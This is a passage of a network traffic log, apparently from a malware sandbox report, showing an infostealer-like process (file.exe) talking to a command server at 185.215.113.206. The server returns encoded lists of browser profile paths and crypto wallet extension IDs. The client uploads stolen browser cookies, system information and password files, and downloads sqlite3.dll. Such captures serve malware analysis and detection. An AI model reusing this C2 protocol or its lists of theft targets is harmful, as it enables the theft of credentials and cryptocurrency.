3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 2d 2d 0d 0a Data Ascii: ------JKJDBAAAEHIEGCAKFHCGContent-Disposition: form-data; name="token"b8b2075c283ad5103068ae5e3258aefe7df4325d5ffd268f729978c4bab6f55d9b474012------JKJDBAAAEHIEGCAKFHCGContent-Disposition: form-data; name="message"browsers------JKJDBAAAEHIEGCAKFHCG--
Nov 25, 2024 12:08:20.603624105 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:20 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 25, 2024 12:08:20.603667021 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 25, 2024 12:08:20.629431009 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEGDBGDBFIJKECBAKFB Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 38 62 32 30 37 35 63 32 38 33 61 64 35 31 30 33 30 36 38 61 65 35 65 33 32 35 38 61 65 66 65 37 64 66 34 33 32 35 64 35 66 66 64 32 36 38 66 37 32 39 39 37 38 63 34 62 61 62 36 66 35 35 64 39 62 34 37 34 30 31 32 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 2d 2d 0d 0a Data Ascii: ------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="token"b8b2075c283ad5103068ae5e3258aefe7df4325d5ffd268f729978c4bab6f55d9b474012------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="message"plugins------IJEGDBGDBFIJKECBAKFB--
Nov 25, 2024 12:08:21.085259914 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:20 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 25, 2024 12:08:21.085278034 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 25, 2024 12:08:21.085289955 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 25, 2024 12:08:21.085411072 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 25, 2024 12:08:21.085423946 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 25, 2024 12:08:21.085436106 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Nov 25, 2024 12:08:21.089576960 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFHIIEHJKKECGCBFIIJD Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 38 62 32 30 37 35 63 32 38 33 61 64 35 31 30 33 30 36 38 61 65 35 65 33 32 35 38 61 65 66 65 37 64 66 34 33 32 35 64 35 66 66 64 32 36 38 66 37 32 39 39 37 38 63 34 62 61 62 36 66 35 35 64 39 62 34 37 34 30 31 32 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 2d 2d 0d 0a Data Ascii: ------CFHIIEHJKKECGCBFIIJDContent-Disposition: form-data; name="token"b8b2075c283ad5103068ae5e3258aefe7df4325d5ffd268f729978c4bab6f55d9b474012------CFHIIEHJKKECGCBFIIJDContent-Disposition: form-data; name="message"fplugins------CFHIIEHJKKECGCBFIIJD--
Nov 25, 2024 12:08:21.542272091 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 25, 2024 12:08:21.560275078 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFHDBKJEGHJJJKFIIJE Host: 185.215.113.206 Content-Length: 7251 Connection: Keep-Alive Cache-Control: no-cache
Nov 25, 2024 12:08:21.560312033 CET	7251	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 38 62 32 30 37 Data Ascii: ------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="token"b8b2075c283ad5103068ae5e3258aefe7df4325d5ffd268f729978c4bab6f55d9b474012------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 25, 2024 12:08:22.539546967 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 12:08:22.824170113 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 12:08:23.274729013 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 25, 2024 12:08:23.274779081 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 25, 2024 12:08:23.278992891 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Nov 25, 2024 12:08:23.279048920 CET	372	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49728	185.215.113.206	80	2700	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 12:08:32.543281078 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIDHJDGCGDAAKEBGDBKF Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 38 62 32 30 37 35 63 32 38 33 61 64 35 31 30 33 30 36 38 61 65 35 65 33 32 35 38 61 65 66 65 37 64 66 34 33 32 35 64 35 66 66 64 32 36 38 66 37 32 39 39 37 38 63 34 62 61 62 36 66 35 35 64 39 62 34 37 34 30 31 32 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------IIDHJDGCGDAAKEBGDBKFContent-Disposition: form-data; name="token"b8b2075c283ad5103068ae5e3258aefe7df4325d5ffd268f729978c4bab6f55d9b474012------IIDHJDGCGDAAKEBGDBKFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IIDHJDGCGDAAKEBGDBKFContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------IIDHJDGCGDAAKEBGDBKF--
Nov 25, 2024 12:08:34.435950994 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 12:08:34.544739008 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHIDHIEGIIIECAKEBFBA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 38 62 32 30 37 35 63 32 38 33 61 64 35 31 30 33 30 36 38 61 65 35 65 33 32 35 38 61 65 66 65 37 64 66 34 33 32 35 64 35 66 66 64 32 36 38 66 37 32 39 39 37 38 63 34 62 61 62 36 66 35 35 64 39 62 34 37 34 30 31 32 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="token"b8b2075c283ad5103068ae5e3258aefe7df4325d5ffd268f729978c4bab6f55d9b474012------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="file"------DHIDHIEGIIIECAKEBFBA--
Nov 25, 2024 12:08:35.519155979 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49744	185.215.113.206	80	2700	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 12:08:41.896811008 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKFBAECBAEGDGDHIEHIJ Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
